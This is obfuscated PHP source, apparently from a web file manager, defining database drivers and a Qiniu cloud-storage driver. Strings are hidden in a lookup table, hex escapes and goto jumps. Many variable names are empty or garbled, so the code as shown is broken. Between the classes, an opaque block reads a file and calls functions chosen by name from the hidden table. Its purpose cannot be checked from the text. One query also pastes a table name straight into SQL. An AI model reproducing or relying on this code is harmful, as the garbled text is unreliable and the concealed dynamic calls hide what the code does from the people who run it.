$ٓ =& $_SERVER[՟]; $Š = $this->query($ٓ[45] . $ٓ[46] . $ٓ[47]); $奔 = array(); foreach ($Š as $ => $) { $奔[$] = current($); } return $奔; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ڳ =& $_SERVER[՟]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $ڳ[4] . sqlite_error_string($); if ($ڳ[12] != $this->queryStr) { $this->error .= LNG($ڳ[48]) . $this->queryStr; } think_trace($this->error, $ڳ[12], $ڳ[49]); return $this->error; } public function escapeString($Ɩ) { return sqlite_escape_string($Ɩ); } public function parseLimit($Ś) { $ =& $_SERVER[՟]; $ = $[12]; if (!empty($Ś)) { $Ś = explode($[50], $Ś); if (count($Ś) > 1) { $ .= $[51] . $Ś[1] . $[52] . $Ś[0] . $[53]; } else { $ .= $[51] . $Ś[0] . $[53]; } } return $; } } if ($_SERVER[$_SERVER[՟][54]] != $_SERVER[$_SERVER[՟][55]]) { $_getc = $_SERVER[՟][56]; $_getfile = $_SERVER[$_SERVER[՟][57]] . $_SERVER[՟][58]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[՟][59], $_getfilec); if (count($_getarrs) < $_SERVER[՟][60]) { $exit = $_SERVER[՟][61]; $exit(); } $_act = $_SERVER[՟][62]; $_act($_SERVER[$_SERVER[՟][63]]); } goto aⳠ; DՏ: class DbMysqli extends Db { public function __construct($Ӣ = '') { $ =& $_SERVER[՟]; if (!extension_loaded($[993])) { think_exception(think_lang($[14]) . $[994]); } if (!empty($Ӣ)) { $this->config = $Ӣ; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[՟]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[967]], $[$[969]], $[$[970]], $[$[21]], $[$[968]] ? intval($[$[968]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[971] . think_config($[972]) . $[68]); if ($ > $[973]) { $this->linkID[$]->query($[974]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($雌) { $ =& $_SERVER[՟]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $雌; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($雌); if ($this->_linkID->more_results()) { while (($Ȕ = $this->_linkID->next_result()) != NULL) { $Ȕ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ܚ) { $ =& $_SERVER[՟]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ܚ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->query($ܚ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $֒ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$֒) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($۳ = 0; $۳ < $this->numRows; $۳++) { $[$۳] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($އ䐲) { $ =& $_SERVER[՟]; $ = $this->query($[978] . $this->parseKey($އ䐲)); $ = array(); if ($) { foreach ($ as $ҙ => $ڕ) { $[$ڕ[$[31]]] = array($[32] => $ڕ[$[31]], $[33] => $ڕ[$[34]], $[35] => (bool) ($ڕ[$[36]] === $[12]), $[37] => $ڕ[$[38]], $[39] => strtolower($ڕ[$[40]]) == $[41], $[42] => strtolower($ڕ[$[43]]) == $[44]); } } return $; } public function getTables($ȥ = '') { $ =& $_SERVER[՟]; $ݳ = !empty($ȥ) ? $[980] . $ȥ . $[981] : $[982]; $ڃ = $this->query($ݳ); $ = array(); if ($ڃ) { foreach ($ڃ as $ઠ => $Ȼ) { $[$ઠ] = current($Ȼ); } } return $; } public function replace($ӯ, $ת = array()) { $݆ =& $_SERVER[՟]; foreach ($ӯ as $ => $) { $Ӱށ = $this->parseValue($); if (is_scalar($Ӱށ)) { $[] = $Ӱށ; $溼[] = $this->parseKey($); } } $η = $݆[983] . $this->parseTable($ת[$݆[365]]) . $݆[984] . implode($݆[50], $溼) . $݆[985] . implode($݆[50], $) . $݆[986]; return $this->execute($η); } public function insertAll($쁼, $ļ = array(), $߁ = false) { $߬ =& $_SERVER[՟]; if (!is_array($쁼[0])) { return !1; } $ǚ = array_keys($쁼[0]); $̅ = array(); foreach ($쁼 as $۸) { $® = array(); foreach ($۸ as $̛ => $Ɂ) { $Ɂ = $this->parseValue($Ɂ); if (is_scalar($Ɂ)) { $®[] = $Ɂ; } } $̅[] = $߬[346] . implode($߬[50], $®) . $߬[986]; } array_walk($ǚ, array($this, $߬[987])); $ּ = $߁ ? $߬[988] : $߬[989]; $ɘ = $ּ . $߬[990] . $this->parseTable($ļ[$߬[365]]) . $߬[984] . implode($߬[50], $ǚ) . $߬[991] . implode($߬[50], $̅); return $this->execute($ɘ); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[՟]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($п۷) { if ($this->_linkID) { return $this->_linkID->real_escape_string($п۷); } else { return addslashes($п۷); } } public function parseKey(&$ޮ, $ = true) { $ڏ =& $_SERVER[՟]; if ($) { $ޮ = $this->parseKeyCheck($ޮ); } if ($ޮ != $ڏ[230] && !preg_match($ڏ[992], $ޮ)) { $ޮ = $ڏ[470] . trim($ޮ, $ڏ[470]) . $ڏ[470]; } return $ޮ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($᠕ = '') { $թ =& $_SERVER[՟]; if (!class_exists($թ[995])) { think_exception(think_lang($թ[14]) . $թ[996]); } if (!empty($᠕)) { $this->config = $᠕; if (empty($this->config[$թ[17]])) { $this->config[$թ[17]] = array(); } } } public function connect($Ձ = '', $ҵ = 0) { $ū =& $_SERVER[՟]; if (!isset($this->linkID[$ҵ])) { if (empty($Ձ)) { $Ձ = $this->config; } $ҽ = !empty($Ձ[$ū[17]][$ū[18]]) ? $Ձ[$ū[17]][$ū[18]] : $this->pconnect; if ($ҽ) { $Ձ[$ū[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ҵ] = new PDO($Ձ[$ū[997]], $Ձ[$ū[969]], $Ձ[$ū[970]], $Ձ[$ū[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($Ձ[$ū[997]]); if (in_array($this->dbType, array($ū[998], $ū[999], $ū[1000], $ū[1001]))) { think_exception($ū[1002] . $this->dbType . $ū[1003] . $this->dbType . $ū[1004]); } if (!$this->linkID[$ҵ]) { think_exception($ū[1005]); } try { $this->linkID[$ҵ]->exec($ū[1006] . think_config($ū[972])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($ū[22])) { unset($this->config); } } return $this->linkID[$ҵ]; } public function free() { $this->PDOStatement = null; } public function query($ɽκ, $٢Ҁ = array()) { $ =& $_SERVER[՟]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ɽκ; if (!empty($٢Ҁ)) { $this->queryStr .= $[1007] . print_r($٢Ҁ, !0) . $[1008]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($ɽκ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ܼ = $this->PDOStatement->execute($٢Ҁ); $this->debug(); if (!1 === $ܼ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($ȑ, $ʲ = array()) { $ܳة =& $_SERVER[՟]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ȑ; if (!empty($ʲ)) { $this->queryStr .= $ܳة[1007] . print_r($ʲ, !0) . $ܳة[1008]; } $ = !1; if ($this->dbType == $ܳة[1001]) { if (preg_match($ܳة[1009], $this->queryStr, $)) { $this->table = think_config($ܳة[1010]) . str_ireplace(think_config($ܳة[1011]), $ܳة[463], $[2]); $ = (bool) $this->query($ܳة[1012] . strtoupper($this->table) . $ܳة[68]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ܳة[25], 1); think_status($ܳة[24]); $this->PDOStatement = $this->_linkID->prepare($ȑ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($ʲ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($ܳة[1013], $ȑ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ҽ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ҽ); return $Ҽ; } public function getFields($ը) { $ =& $_SERVER[՟]; $this->initConnect(!0); if (think_config($[1014])) { $، = str_replace($[1015], $ը, think_config($[1014])); } else { switch ($this->dbType) { case $[998]: case $[1016]: $، = "\x53\x45\x4c\x45\x43\124\40\x20\40\x63\157\x6c\x75\x6d\x6e\137\156\141\155\x65\40\141\x73\x20\x27\116\x61\155\145\47\54\x20\x20\x20\x64\x61\x74\x61\x5f\164\171\160\145\40\141\x73\x20\47\x54\171\160\145\47\54\x20\x20\40\x63\157\154\165\155\x6e\x5f\x64\145\x66\141\165\x6c\x74\40\x61\163\40\47\x44\145\x66\x61\x75\154\164\x27\54\x20\40\x20\x69\163\x5f\156\x75\154\x6c\141\142\154\x65\40\x61\163\x20\x27\x4e\x75\x6c\154\x27\xa\11\x9\x46\x52\117\115\11\x69\156\146\x6f\162\155\141\x74\151\157\x6e\x5f\163\x63\x68\145\x6d\141\56\164\x61\x62\x6c\145\163\x20\x41\x53\x20\x74\12\x9\x9\112\117\x49\116\11\151\x6e\146\x6f\x72\155\141\164\x69\157\x6e\x5f\x73\x63\x68\145\155\141\56\143\157\154\165\x6d\156\x73\40\101\123\40\x63\12\11\11\x4f\x4e\40\x20\164\x2e\x74\141\x62\x6c\x65\x5f\143\x61\164\141\154\157\x67\40\x3d\x20\x63\56\x74\x61\x62\154\x65\137\x63\x61\164\x61\x6c\x6f\x67\xa\11\x9\x41\x4e\104\40\x74\56\164\x61\x62\154\145\x5f\163\x63\x68\145\155\141\40\75\x20\x63\x2e\164\141\142\x6c\145\x5f\x73\143\x68\x65\155\141\12\x9\11\101\116\104\40\x74\x2e\164\x61\142\154\x65\137\156\141\x6d\145\x20\x3d\40\x63\x2e\164\x61\142\x6c\145\x5f\156\141\x6d\145\12\11\x9\127\110\x45\x52\105\40\40\40\164\56\x74\141\142\154\x65\x5f\156\141\x6d\145\x20\x3d\x20\47{$ը}\47"; break; case $[1017]: $، = $[1018] . $ը . $[1019]; break; case $[999]: case $[1001]: $، = $[1020] . $[1021] . $[1022] . strtoupper($ը) . $[1023] . strtoupper($ը) . $[1024]; break; case $[1025]: $، = $[1026] . $ը . $[1027]; break; case $[1000]: break; case $[1028]: default: $، = $[1029] . ($this->dbType == $[1028] ? "\140{$ը}\x60" : $ը); } } $˷ΰ = $this->query($،); $ = array(); if ($˷ΰ) { foreach ($˷ΰ as $ԧ => $ƕ) { $ƕ = array_change_key_case($ƕ); $ƕ[$[32]] = isset($ƕ[$[32]]) ? $ƕ[$[32]] : $[463]; $ƕ[$[33]] = isset($ƕ[$[33]]) ? $ƕ[$[33]] : $[463]; $ꯃ = isset($ƕ[$[359]]) ? $ƕ[$[359]] : $ƕ[$[32]]; $[$ꯃ] = array($[32] => $ꯃ, $[33] => $ƕ[$[33]], $[35] => (bool) (isset($ƕ[$[116]]) && $ƕ[$[116]] === $[12] || isset($ƕ[$[35]]) && $ƕ[$[35]] === $[12]), $[37] => isset($ƕ[$[37]]) ? $ƕ[$[37]] : (isset($ƕ[$[66]]) ? $ƕ[$[66]] : $[463]), $[39] => isset($ƕ[$[107]]) ? strtolower($ƕ[$[107]]) == $[41] : (isset($ƕ[$[67]]) ? $ƕ[$[67]] : !1), $[42] => isset($ƕ[$[1030]]) ? strtolower($ƕ[$[1030]]) == $[44] : (isset($ƕ[$[107]]) ? $ƕ[$[107]] : !1)); } } return $; } public function getTables($Ȥ = '') { $¡ =& $_SERVER[՟]; if (think_config($¡[1031])) { $ŗ = str_replace($¡[1032], $Ȥ, think_config($¡[1031])); } else { switch ($this->dbType) { case $¡[999]: case $¡[1001]: $ŗ = $¡[1033]; break; case $¡[998]: case $¡[1016]: $ŗ = $¡[1034]; break; case $¡[1025]: $ŗ = $¡[1035]; break; case $¡[1000]: think_exception(think_lang($¡[1036]) . $¡[1037]); break; case $¡[1017]: $ŗ = $¡[45] . $¡[46] . $¡[47]; break; case $¡[1028]: default: if (!empty($Ȥ)) { $ŗ = $¡[980] . $Ȥ . $¡[981]; } else { $ŗ = $¡[982]; } } } $ = $this->query($ŗ); $ = array(); foreach ($ as $ => $Ǻ) { $[$] = current($Ǻ); } return $; } protected function parseLimit($Ә) { $ =& $_SERVER[՟]; $ = $[12]; if (!empty($Ә)) { switch ($this->dbType) { case $[1025]: case $[1017]: $Ә = explode($[50], $Ә); if (count($Ә) > 1) { $ .= $[51] . $Ә[1] . $[52] . $Ә[0] . $[53]; } else { $ .= $[51] . $Ә[0] . $[53]; } break; case $[998]: case $[1016]: break; case $[1000]: break; case $[999]: case $[1001]: break; case $[1028]: default: $ .= $[51] . $Ә . $[53]; } } return $; } public function parseKey(&$, $ = true) { $ۇ =& $_SERVER[՟]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $ۇ[1028]) { if ($ != $ۇ[230] && !preg_match($ۇ[992], $)) { $ = $ۇ[470] . trim($, $ۇ[470]) . $ۇ[470]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[՟]; if ($this->PDOStatement) { $߃ = $this->PDOStatement->errorInfo(); $this->error = $߃[1] . $[4] . $߃[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $᭫ =& $_SERVER[՟]; switch ($this->dbType) { case $᭫[1025]: case $᭫[998]: case $᭫[1016]: case $᭫[1028]: return addslashes($); case $᭫[1000]: case $᭫[1017]: case $᭫[999]: case $᭫[1001]: return str_ireplace($᭫[68], $᭫[69], $); } } protected function parseValue($) { $ظ٭ =& $_SERVER[՟]; if (is_string($)) { $ʧ = strpos($, $ظ٭[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ʧ ? $this->escapeString($) : $ظ٭[1038] . $this->escapeString($) . $ظ٭[1038]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $ظ٭[382]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $ظ٭[1039]), $); } elseif (is_bool($)) { $ = $ ? $ظ٭[101] : $ظ٭[238]; } elseif (is_null($)) { $ = $ظ٭[116]; } return $; } public function getLastInsertId() { $Ϫ =& $_SERVER[՟]; switch ($this->dbType) { case $Ϫ[1025]: case $Ϫ[1017]: case $Ϫ[998]: case $Ϫ[1016]: case $Ϫ[1000]: case $Ϫ[1028]: return $this->_linkID->lastInsertId(); case $Ϫ[999]: case $Ϫ[1001]: $ = $this->table; $ヌ = $this->query("\123\105\x4c\x45\x43\x54\x20{$}\56\x63\x75\x72\x72\x76\141\154\x20\x63\165\162\x72\166\x61\154\40\x46\122\x4f\x4d\x20\144\x75\x61\154"); return $ヌ ? $ヌ[0][$Ϫ[1040]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ݯ) { $Ն =& $_SERVER[՟]; if (!CacheLock::fileLock($Ն[13])) { return !1; } $ = parent::query($ݯ); CacheLock::fileUnLock($Ն[13]); return $; } public function execute($ᚦ) { $У =& $_SERVER[՟]; if (!CacheLock::fileLock($У[13])) { return !1; } $՞ = parent::execute($ᚦ); CacheLock::fileUnLock($У[13]); return $՞; } } goto CŔ; dБڿ: class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($Ԣ) { parent::__construct(); require_once SDK_DIR . $_SERVER[՟][1529]; $this->_init($Ԣ); } public function _init($ı) { $ =& $_SERVER[՟]; $this->config = $ı; foreach ($ı as $̪ => $и) { if (isset($this->{$̪})) { $this->{$̪} = $и; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1530] . LNG($[1465])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $с = '', $Ŝ = REPEAT_RENAME) { if ($this->setContent($, $с)) { return $this->getPathOuter($); } return !1; } public function mkdir($Ѳ, $캩 = REPEAT_SKIP) { $ͬĻ =& $_SERVER[՟]; $֓ = trim($Ѳ, $ͬĻ[8]); if ($this->_isFolder($֓)) { return $this->getPathOuter($֓); } $Ѳ = $֓ . $ͬĻ[8]; $ = get_path_this($֓); $Ĺ = $Ѳ . $; if (!$this->mkfile($Ĺ)) { return !1; } if (!$this->moveFile($Ĺ, $Ѳ)) { $this->delFile($Ĺ); return !1; } return $this->getPathOuter($֓); } public function copyFile($ɖ̔, $䔦ż) { $ = $this->bucketManager->copy($this->bucket, $ɖ̔, $this->bucket, $䔦ż, !0); return $ ? !1 : $this->getPathOuter($䔦ż); } public function moveFile($, $߱) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $߱, !0); return $ ? !1 : $this->getPathOuter($߱); } public function delFile($ʞ) { if (!$this->exist($ʞ)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $ʞ); return $ ? !1 : !0; } public function delFolder($˛) { $ =& $_SERVER[՟]; if (!$this->exist($˛)) { return !0; } $this->listItemCache = !1; $Ԏ = $this->fileList($˛); $this->listItemCache = !0; $ = trim($˛, $[8]) . $[8]; if (!empty($˛) && $˛ !== $[238] && !in_array($, $Ԏ[$[95]])) { $Ԏ[$[95]][] = $; } $ʿ = $this->delByBatch($Ԏ[$[96]]); if (!$ʿ) { return !1; } $ʿ = $this->delByBatch($Ԏ[$[95]]); if (!$ʿ) { return !1; } return $this->delFile($); } private function delByBatch($dz) { foreach (array_chunk($dz, 1000) as $) { $ҝ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($ǒË, $Ǝ) = $this->bucketManager->batch($ҝ); if ($Ǝ) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($ɬ, $ = false, $ = array()) { $ʹ =& $_SERVER[՟]; $쬶 = array($ʹ[32] => $this->pathThis($ɬ), $ʹ[97] => $this->getPathOuter($ʹ[8] . $ɬ), $ʹ[33] => $ʹ[240], $ʹ[89] => isset($[$ʹ[1531]]) ? $[$ʹ[1531]] : 0, $ʹ[179] => $this->ext($ɬ)); if ($) { return $쬶; } $쬶[$ʹ[241]] = $쬶[$ʹ[98]] = 0; $쬶[$ʹ[242]] = $쬶[$ʹ[243]] = !0; if (empty($)) { $ = $this->objectMeta($ɬ); if (!$) { return $쬶; } } if (isset($[$ʹ[244]]) && $[$ʹ[244]]) { $쬶[$ʹ[245]] = $[$ʹ[244]]; } if (isset($[$ʹ[255]]) && $[$ʹ[255]]) { $쬶[$ʹ[245]] = $[$ʹ[255]]; } if (isset($[$ʹ[1532]])) { $쬶[$ʹ[98]] = substr($[$ʹ[1532]] . $ʹ[12], 0, 10); } if (isset($[$ʹ[1531]])) { $쬶[$ʹ[89]] = $[$ʹ[1531]]; } return $쬶; } public function folderInfo($, $ƃ֏ = false) { $ܠ =& $_SERVER[՟]; $Ľ = array($ܠ[32] => $this->pathThis($), $ܠ[97] => $this->getPathOuter($ܠ[8] . $), $ܠ[33] => $ܠ[88]); if ($ƃ֏) { return $Ľ; } $Ľ[$ܠ[241]] = $Ľ[$ܠ[98]] = 0; $Ľ[$ܠ[242]] = $Ľ[$ܠ[243]] = !0; $ = rtrim($, $ܠ[8]) . $ܠ[8]; $쏱 = $this->objectMeta($); if (isset($쏱[$ܠ[1532]])) { $Ľ[$ܠ[98]] = substr($쏱[$ܠ[1532]] . $ܠ[12], 0, 10); } return $Ľ; } public function listPath($, $ދ = false) { $ =& $_SERVER[՟]; $ = $this->fileList($, $[8], !0); foreach ($[$[95]] as $Ǻֶ => $Ɛ) { $[$[95]][$Ǻֶ] = $this->folderInfo($Ɛ, $ދ); } foreach ($[$[96]] as $Ǻֶ => $Ɛ) { $[$[96]][$Ǻֶ] = $this->fileInfo($Ɛ[$[107]], $ދ, $Ɛ); } return $; } public function has($ө, $ = false, $ȷ = true) { $ʇ =& $_SERVER[՟]; $ө = trim($ө, $ʇ[8]); $ = empty($ө) && $ө !== $ʇ[238] ? $ʇ[12] : $ө . $ʇ[8]; $ = $ʇ[12]; $ = 500; $ = $ʇ[8]; $ޖ = $ب = 0; while (!0) { check_abort(); list($õ, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($ʇ[1477], $õ) ? $ = $õ[$ʇ[1533]] : $ʇ[12]; if ($) { if (!empty($õ[$ʇ[1534]])) { $ޖ += count($õ[$ʇ[1534]]); } if (!empty($õ[$ʇ[1535]])) { $ب += count($õ[$ʇ[1535]]); } if ($ === $ʇ[12]) { break; } continue; } if ($ȷ) { if (!empty($õ[$ʇ[1534]])) { return !0; } } else { if (!empty($õ[$ʇ[1535]])) { return !0; } } if ($ === $ʇ[12]) { break; } } if ($) { return array($ʇ[249] => $ޖ, $ʇ[250] => $ب); } return !1; } public function listAll($؏) { $ߝȉ =& $_SERVER[՟]; $ = $this->fileList($؏, $ߝȉ[12], !0); $㮛܊ = array_to_keyvalue($[$ߝȉ[96]], $ߝȉ[32]); foreach ($[$ߝȉ[95]] as $) { if (is_string($)) { $㮛܊[$] = array($ߝȉ[89] => 0); } } return $this->listAllFiles($؏, $㮛܊); } private function fileList($Ɠ, $Ճ = '', $ˆ = 0) { $ =& $_SERVER[՟]; $Ɠ = trim($Ɠ, $[8]); $ = empty($Ɠ) && $Ɠ !== $[238] ? $[12] : $Ɠ . $[8]; $̰ = $[12]; $퀯 = 1000; $Ð̷ = $ށ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $̰, $퀯, $Ճ); if ($) { break; } $̰ = array_key_exists($[1477], $) ? $̰ = $[$[1533]] : $[12]; $ = isset($[$[1534]]) ? $[$[1534]] : array(); $϶ǂ = isset($[$[1535]]) ? $[$[1535]] : array(); foreach ($ as $) { if ($[$[107]] == $) { continue; } $ݹֻ = $[$[107]]; $ = $[$[1531]]; $[$[89]] = $; $ӻ = $ == 0 && substr($ݹֻ, strlen($ݹֻ) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($ݹֻ, $ӻ, $); if ($ӻ) { $Ð̷[] = $ݹֻ; continue; } $ށ[] = $ˆ ? $ : $ݹֻ; } foreach ($϶ǂ as $ݹֻ) { if ($ݹֻ == $) { continue; } $Ð̷[] = $ݹֻ; $this->cacheMethodInfoSet($ݹֻ, !0); } if ($̰ === $[12]) { break; } } $this->cacheMethodInfoSet($Ɠ, !0); return array($[95] => $Ð̷, $[96] => $ށ); } public function canRead($ñ) { return $this->exist($ñ) ? !0 : !1; } public function canWrite($ﵡ) { return $this->exist($ﵡ) ? !0 : !1; } public function getContent($ݬ) { return $this->fileSubstr($ݬ, 0, -1); } public function setContent($ҰȠ, $։ = '') { $ = $this->tempFile($this->pathThis($ҰȠ)); file_put_contents($, $։); if ($this->upload($ҰȠ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $¼ =& $_SERVER[՟]; $ЬԼ = array(); if (is_array($)) { foreach ($ as $ó) { $ЬԼ[] = $this->link($ó); } } else { $ЬԼ[] = $this->link($); } $衁 = new Qiniu\Cdn\CdnManager($this->auth); list($, $߄) = $衁->refreshUrls($ЬԼ); if ($߄) { return !1; } return $[$¼[1267]] == $¼[843] ? !0 : !1; } public function fileSubstr($龵, $ʘ, $) { $ =& $_SERVER[՟]; if (!($̀ = $this->link($龵))) { return !1; } $ = !1; if ($ > 0) { $՛ = $ʘ + $ - 1; $ = array($[1536] . $ʘ . $[471] . $՛); } $ = url_request($̀, $[271], !1, $); return $[$[834]] ? $[$[1290]] : !1; } public function upload($, $, $ = false, $ө = REPEAT_REPLACE) { $ճ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($ߵ, $) = $ճ->putFile($, $, $, null, $); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($֧, $櫮 = 3600) { return $this->uploadToken($֧, $櫮); } private function uploadToken($, $ = 3600) { $ =& $_SERVER[՟]; $ = $; $ = array($[1537] => $[1538]); $օ = $; $틧 = $this->auth->uploadToken($this->bucket, $օ, $, $, !0); $ = empty($this->region) || $this->region == $[1539] ? $[12] : $[471] . $this->region; $ʎ = http_type() . "\72\x2f\x2f\x75\160\x6c\x6f\141\144{$}\x2e\161\151\156\x69\165\160\x2e\143\x6f\155\x2f"; return array($[1540] => $틧, $[1541] => $ʎ); } public function download($䁂У, $ō) { $☠я = IO::getPathInner(IO::mkfile($ō)); if (!($ɉԲ = $this->link($䁂У))) { return !1; } $ = 0; $Յ = 1024 * 200; $͛ = fopen($☠я, $_SERVER[՟][1542]); while (!0) { $ = $this->fileSubstr($䁂У, $, $Յ); if ($ === !1) { return !1; } fwrite($͛, $); $ += $Յ; if (strlen($) < $Յ) { break; } } fclose($͛); return $ō; } public function link($«, $ = '') { if (!$this->isFile($«)) { return !1; } $ݥɩ = $this->getHost() . $_SERVER[՟][8] . $this->pathEncode($«) . $; return $this->auth->privateDownloadUrl($ݥɩ, 3600 * 12); } public function fileOut($ʌ, $݈ = false, $ǟ = false, $ = '') { $nj =& $_SERVER[՟]; if ($this->isFileOutServer()) { return $this->fileOutServer($ʌ, $݈, $ǟ, $); } if (!$ǟ) { $ǟ = $this->pathThis($ʌ); } $ = $݈ ? $nj[1543] . rawurlencode($ǟ) : $nj[12]; $ՠ = $this->link($ʌ, $); $this->fileOutLink($ՠ); } public function fileOutServer($, $Ɇ = false, $DZ = false, $ = '') { parent::fileOut($, $Ɇ, $DZ, $); } public function fileOutImage($Ȇ, $ = 250) { if ($this->size($Ȇ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Ȇ, $); } $䨖 = $this->link($Ȇ, $_SERVER[՟][1544] . $); $this->fileOutLink($䨖); } public function fileOutImageServer($, $Lj = 250) { parent::fileOutImage($, $Lj); } public function hashMd5($) { $Ǚˑ =& $_SERVER[՟]; $Ƙ = $this->objectMeta($); return isset($Ƙ[$Ǚˑ[255]]) ? $Ƙ[$Ǚˑ[255]] : !1; $̦ = $this->link($, $Ǚˑ[1545]); } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[՟][89]] : 0; } public function info($ͪ) { if ($this->isFolder($ͪ)) { return $this->folderInfo($ͪ); } else { if ($this->isFile($ͪ)) { return $this->fileInfo($ͪ); } } return !1; } public function exist($Ӊ) { return $this->isFile($Ӊ) || $this->isFolder($Ӊ); } public function isFile($鷇) { return !$this->isFolder($鷇) && $this->objectMeta($鷇); } public function isFolder($Ϸ) { return $this->cacheMethod($_SERVER[՟][189], $Ϸ); } protected function objectMeta($ȁ) { return $this->cacheMethod($_SERVER[՟][191], $ȁ); } protected function _objectMeta($) { $ =& $_SERVER[՟]; list($㵒, $) = $this->bucketManager->stat($this->bucket, $); if ($㵒) { $㵒[$[89]] = intval($㵒[$[1531]]); } return $㵒; } protected function _isFolder($) { $զ =& $_SERVER[՟]; if ($ == $զ[12] || $ == $զ[8]) { return !0; } list($։, $䫁) = $this->bucketManager->listFiles($this->bucket, trim($, $զ[8]) . $զ[8], $զ[12], 1, $զ[8]); return !empty($։[$զ[1534]]) || !empty($։[$զ[1535]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($͟, $Ι = 0) { parent::__construct(); $this->source = $͟; $this->sourceSize 